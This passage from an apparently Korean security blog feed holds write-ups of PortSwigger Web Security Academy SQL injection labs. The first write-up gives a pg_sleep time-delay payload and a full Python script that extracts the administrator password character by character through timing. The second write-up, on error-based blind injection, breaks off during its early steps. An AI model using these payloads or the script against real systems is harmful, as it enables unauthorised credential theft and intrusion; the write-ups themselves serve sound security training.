&lt;li&gt;문제&amp;nbsp;사이트에&amp;nbsp;접속하여&amp;nbsp;문제를&amp;nbsp;확인합니다.&amp;nbsp;tracking&amp;nbsp;cookie를&amp;nbsp;사용&amp;nbsp;중이며&amp;nbsp;해당&amp;nbsp;cookie를&amp;nbsp;통해&amp;nbsp;SQL&amp;nbsp;query로&amp;nbsp;질의를&amp;nbsp;하고&amp;nbsp;있다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;SQL&amp;nbsp;query로&amp;nbsp;질의를&amp;nbsp;했을&amp;nbsp;때의&amp;nbsp;결과&amp;nbsp;값&amp;nbsp;리턴이&amp;nbsp;따로&amp;nbsp;없지만&amp;nbsp;sql&amp;nbsp;query&amp;nbsp;문을&amp;nbsp;이용하여&amp;nbsp;time&amp;nbsp;delay를&amp;nbsp;통해&amp;nbsp;정보를&amp;nbsp;유추할&amp;nbsp;수&amp;nbsp;있다고&amp;nbsp;얘기하는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;ACCESS&amp;nbsp;THE&amp;nbsp;LAB&amp;nbsp;버튼을&amp;nbsp;클릭하여&amp;nbsp;웹&amp;nbsp;페이지에&amp;nbsp;접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1_문제 확인.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/okTg5/dJMcagyu2KB/zw7MgrS5Ng0Jzp6bKgBLY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/okTg5/dJMcagyu2KB/zw7MgrS5Ng0Jzp6bKgBLY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/okTg5/dJMcagyu2KB/zw7MgrS5Ng0Jzp6bKgBLY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FokTg5%2FdJMcagyu2KB%2Fzw7MgrS5Ng0Jzp6bKgBLY0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;433&quot; data-filename=&quot;1_문제 확인.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2_쿠키 확인.png&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;553&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ocHIv/dJMcag6mAU6/ZLzSpEqOh2BJQNdGvcLPBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ocHIv/dJMcag6mAU6/ZLzSpEqOh2BJQNdGvcLPBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ocHIv/dJMcag6mAU6/ZLzSpEqOh2BJQNdGvcLPBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FocHIv%2FdJMcag6mAU6%2FZLzSpEqOh2BJQNdGvcLPBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;375&quot; data-filename=&quot;2_쿠키 확인.png&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서 TrackingId 쿠키 값이 sql query 문에 사용된다고 했기 때문에 sql query 문 조건이 참이 되도록 구성하여 요청을 보내고 응답을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3_버프 리피터에서 참 쿼리보냈을 때.png&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;562&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKHJsY/dJMcabYiiUQ/Uawh20kI04hPAV95h9app0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKHJsY/dJMcabYiiUQ/Uawh20kI04hPAV95h9app0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKHJsY/dJMcabYiiUQ/Uawh20kI04hPAV95h9app0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKHJsY%2FdJMcabYiiUQ%2FUawh20kI04hPAV95h9app0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;390&quot; data-filename=&quot;3_버프 리피터에서 참 쿼리보냈을 때.png&quot; data-origin-width=&quot;1226&quot; data-origin-height=&quot;562&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;sql query 문 조건이 거짓이 되도록 구성하여 요청을 보내고 응답을 확인합니다. sql query 문 조건이 참, 거짓일 때 각각의 응답 결과를 비교해 보면 동일한 것을 볼 수 있고 sql query 문 참, 거짓 응답 결과가 다름을 이용한 SQL Injection 공격은 할 수 없음을 알 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4_거짓 쿼리 보냈을 때 참, 거짓 응답으로 data 추출 불가.png&quot; data-origin-width=&quot;1225&quot; data-origin-height=&quot;565&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWmcJT/dJMcai37gnw/BqxnjirZmWr5KIkyJ3H8v1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWmcJT/dJMcai37gnw/BqxnjirZmWr5KIkyJ3H8v1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWmcJT/dJMcai37gnw/BqxnjirZmWr5KIkyJ3H8v1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWmcJT%2FdJMcai37gnw%2FBqxnjirZmWr5KIkyJ3H8v1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;392&quot; data-filename=&quot;4_거짓 쿼리 보냈을 때 참, 거짓 응답으로 data 추출 불가.png&quot; data-origin-width=&quot;1225&quot; data-origin-height=&quot;565&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;참, 거짓 응답 결과가 다름을 이용하여 data를 추출할 수 없는 상황이라면 Time-based SQL Injection을 시도해 볼 수 있습니다. time delay가 되는지 페이로드를 삽입하여 요청을 보내면 time delay가 되고 있다는 것을 볼 수 있습니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[페이로드(입력 값)]&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 39px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 39px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 39px;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&amp;nbsp;TrackingId=w10IqJ5f6KMt31wJ&lt;span style=&quot;color: #ee2323;&quot;&gt;'||&amp;nbsp;pg_sleep(10)&amp;nbsp;||'&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;단순히&amp;nbsp;sql&amp;nbsp;query문&amp;nbsp;조건을&amp;nbsp;참,&amp;nbsp;거짓으로&amp;nbsp;요청을&amp;nbsp;각각&amp;nbsp;보냈을&amp;nbsp;때&amp;nbsp;응답&amp;nbsp;결과가&amp;nbsp;동일하기&amp;nbsp;때문에&amp;nbsp;data를&amp;nbsp;추출할&amp;nbsp;수&amp;nbsp;없는&amp;nbsp;상황입니다.&amp;nbsp;이런&amp;nbsp;경우에&amp;nbsp;Time-based&amp;nbsp;SQL&amp;nbsp;Injection을&amp;nbsp;이용하여&amp;nbsp;time&amp;nbsp;delay가&amp;nbsp;발생하는지&amp;nbsp;안하는지&amp;nbsp;여부에&amp;nbsp;따라&amp;nbsp;data를&amp;nbsp;추출할&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;*&amp;nbsp;페이로드&amp;nbsp;분석&lt;/b&gt; &lt;br /&gt;&amp;nbsp;||&amp;nbsp;&amp;nbsp;연산자는 PostgreSQL에서 문자열을 합쳐주는 연산자이며 pg_sleep() 함수는 PostgreSQL에서 사용 가능한 함수입니다. time delay를 유발하는 함수는 DB마다 다를 수 있기 때문에 각 DB의 time delay를 유발하는 함수를 삽입해 보면서 알아내야 합니다.&lt;br /&gt;ex) select 'te' || 'st' -&amp;gt; test&lt;br /&gt;&lt;br /&gt;w10IqJ5f6KMt31wJ'|| pg_sleep(10) ||' 에서 문자열을 합치기 전에 pg_sleep() 함수가 실행되는데 이때 값을 10으로 줬기 때문에 10초의 time delay가 발생하고 반환 값은 없는 상태입니다. 마지막에 있는 싱글 쿼터의 경우 sql query 문이 완성될 때 기존에 있던 싱글 쿼터와 합쳐지고 빈 문자열을 합치려고 하기 때문에 실제로 남는건 원래 TrackingId 인 'w10IqJ5f6KMt31wJ'으로 정상적인 값이 되어 sql query 문에서 에러가 발생하지 않게 됩니다.&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5_time-based sqli 시도 성공 time delay 생김.png&quot; data-origin-width=&quot;1540&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cNS1nK/dJMcageexHw/tNixkYhn6ScBGbHXW2CFK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cNS1nK/dJMcageexHw/tNixkYhn6ScBGbHXW2CFK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cNS1nK/dJMcageexHw/tNixkYhn6ScBGbHXW2CFK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcNS1nK%2FdJMcageexHw%2FtNixkYhn6ScBGbHXW2CFK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;860&quot; height=&quot;350&quot; data-filename=&quot;5_time-based sqli 시도 성공 time delay 생김.png&quot; data-origin-width=&quot;1540&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;time delay가 발생하는 것을 확인했기 때문에 time delay를 이용한 Time-based SQL Injection format을 만들어서 사용합니다. Visual Studio Code를 이용하여 Python 스크립트를 작성했습니다. time delay를 이용하는 것이므로 코드를 실행해도 상당히 오래 걸릴 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777123723082&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests
import time

# url은 LAB에 접속했을 때 본인의 url 주소를 입력합니다.
# session, TrackingId는 각각 본인의 파라미터 값을 사용합니다.
# 입력 시 중괄호 제거 후 입력해야 합니다.
url = &quot;{url}&quot;
session = &quot;{session}&quot;
TrackingId = &quot;{TrackingId}&quot;

# pg_sleep(10)을 사용했으므로 time delay가
# 10초동안 발생했는지 비교하기 위해 threshold 값을 10으로 해줍니다.
threshold = 10

# time delay 발생 여부 확인 함수
def check_time_delay(query):
    cookies = {
        &quot;session&quot; : f&quot;{session}&quot;,
        &quot;TrackingId&quot; : f&quot;{TrackingId}'|| (select case when ({query}) then pg_sleep(10) else pg_sleep(0) end) ||'&quot;
    }

    start = time.time()
    requests.get(url, cookies=cookies)
    delay = time.time() - start

    return delay &amp;gt;= threshold

# admin 계정 비밀번호 길이 + 값 알아내는 함수
def find_admin_pw():
    low = 1
    high = 256
    pw = ''

    while low &amp;lt; high:
        mid = (low + high) // 2
        
        query = (
            f&quot;(select length(password) from users where username='administrator') &amp;gt; {mid}&quot;
        )
    
        if check_time_delay(query):
            low = mid + 1
        else:
            high = mid

    pw_len = low
    print(f&quot;password 길이: {pw_len}&quot;)

	# 알아낸 password 길이만큼 반복문을 돌리면서
    # 비밀번호의 각 글자를 추출합니다.
    for i in range(1, pw_len+1):
        low = 32
        high = 127

        while low &amp;lt; high:
        
            mid = (low + high) // 2
            
            query = (
                f&quot;ascii(substr((select password from users where username='administrator'), {i}, 1)) &amp;gt; {mid}&quot;
            )
        
            if check_time_delay(query):
                low = mid + 1
            else:
                high = mid

        pw += chr(low)

    return pw

print(f&quot;administrator password: {find_admin_pw()}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Python 스크립트를 실행하면 다음과 같이 administrator 계정의 비밀번호를 알아낼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;코드 실행 결과 admin 비번 얻음.png&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;52&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSqYR6/dJMcahYuFcw/R5gnkfrD3tep4thqLn9TK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSqYR6/dJMcahYuFcw/R5gnkfrD3tep4thqLn9TK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSqYR6/dJMcahYuFcw/R5gnkfrD3tep4thqLn9TK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSqYR6%2FdJMcahYuFcw%2FR5gnkfrD3tep4thqLn9TK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;783&quot; height=&quot;52&quot; data-filename=&quot;코드 실행 결과 admin 비번 얻음.png&quot; data-origin-width=&quot;783&quot; data-origin-height=&quot;52&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;My account 탭에 접속하여 알아낸 비밀번호를 입력한 뒤 Log in 버튼을 클릭합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7_얻은 비밀번호 입력.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kX73z/dJMcahqGf3N/f64LNGqamPFKCRHKf4emnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kX73z/dJMcahqGf3N/f64LNGqamPFKCRHKf4emnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kX73z/dJMcahqGf3N/f64LNGqamPFKCRHKf4emnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkX73z%2FdJMcahqGf3N%2Ff64LNGqamPFKCRHKf4emnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;433&quot; data-filename=&quot;7_얻은 비밀번호 입력.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Log in 버튼을 클릭하면 administrator 계정으로 로그인이 되면서 해당 LAB 문제를 성공적으로 풀게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8_문제해결.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WUSXx/dJMcacbORzf/bB4ApoqKUWcRP788USVIpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WUSXx/dJMcacbORzf/bB4ApoqKUWcRP788USVIpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WUSXx/dJMcacbORzf/bB4ApoqKUWcRP788USVIpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWUSXx%2FdJMcacbORzf%2FbB4ApoqKUWcRP788USVIpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;433&quot; data-filename=&quot;8_문제해결.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>Lab: Blind SQL injection with time delays and information retrieval</category>
      <category>portswigger</category>
      <category>portswigger web security academy</category>
      <category>SQL INJECTION</category>
      <category>sql injection with time delay</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/29</guid>
      <comments>https://code000.tistory.com/entry/Lab-Blind-SQL-injection-with-time-delays-and-information-retrieval#entry29comment</comments>
      <pubDate>Sat, 25 Apr 2026 23:20:45 +0900</pubDate>
    </item>
    <item>
      <title>Lab: Blind SQL injection with conditional errors</title>
      <link>https://code000.tistory.com/entry/Lab-Blind-SQL-injection-with-conditional-errors</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문으로 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다는 것도 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1_문제 확인.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TlKXK/dJMcaipd1mt/KcSvXGI6OhT92Nvsd9VtQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TlKXK/dJMcaipd1mt/KcSvXGI6OhT92Nvsd9VtQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TlKXK/dJMcaipd1mt/KcSvXGI6OhT92Nvsd9VtQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTlKXK%2FdJMcaipd1mt%2FKcSvXGI6OhT92Nvsd9VtQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;466&quot; data-filename=&quot;1_문제 확인.png&quot; data-origin-width=&quot;976&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2_쿠키 확인.png&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;553&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwmZTi/dJMcadVHvji/wjykykH3PINetxv278OmI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwmZTi/dJMcadVHvji/wjykykH3PINetxv278OmI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwmZTi/dJMcadVHvji/wjykykH3PINetxv278OmI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwmZTi%2FdJMcadVHvji%2FwjykykH3PINetxv278OmI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1252&quot; height=&quot;553&quot; data-filename=&quot;2_쿠키 확인.png&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;553&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있고 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다고 했기 때문에 TrackingId&amp;nbsp; 쿠키에 싱글 쿼터를 삽입해 보면 에러 메시지를 반환하고 있는 것을 볼 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MCZbL/dJMcadg8vC1/vuLGk6yoT67kHsysRIJR51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MCZbL/dJMcadg8vC1/vuLGk6yoT67kHsysRIJR51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MCZbL/dJMcadg8vC1/vuLGk6yoT67kHsysRIJR51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMCZbL%2FdJMcadg8vC1%2FvuLGk6yoT67kHsysRIJR51%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;387&quot; data-origin-width=&quot;1253&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주석을 사용할 수 있는지 확인합니다. 실제 sql query 문 마지막에 남는 싱글 쿼터가 주석에 의해 처리되었기 때문에 웹 페이지가 정상적으로 보이고 있는 것을 알 수 있고 이를 통해 주석이 사용 가능하다는 것을 알 수 있습니다.&lt;/li&gt;
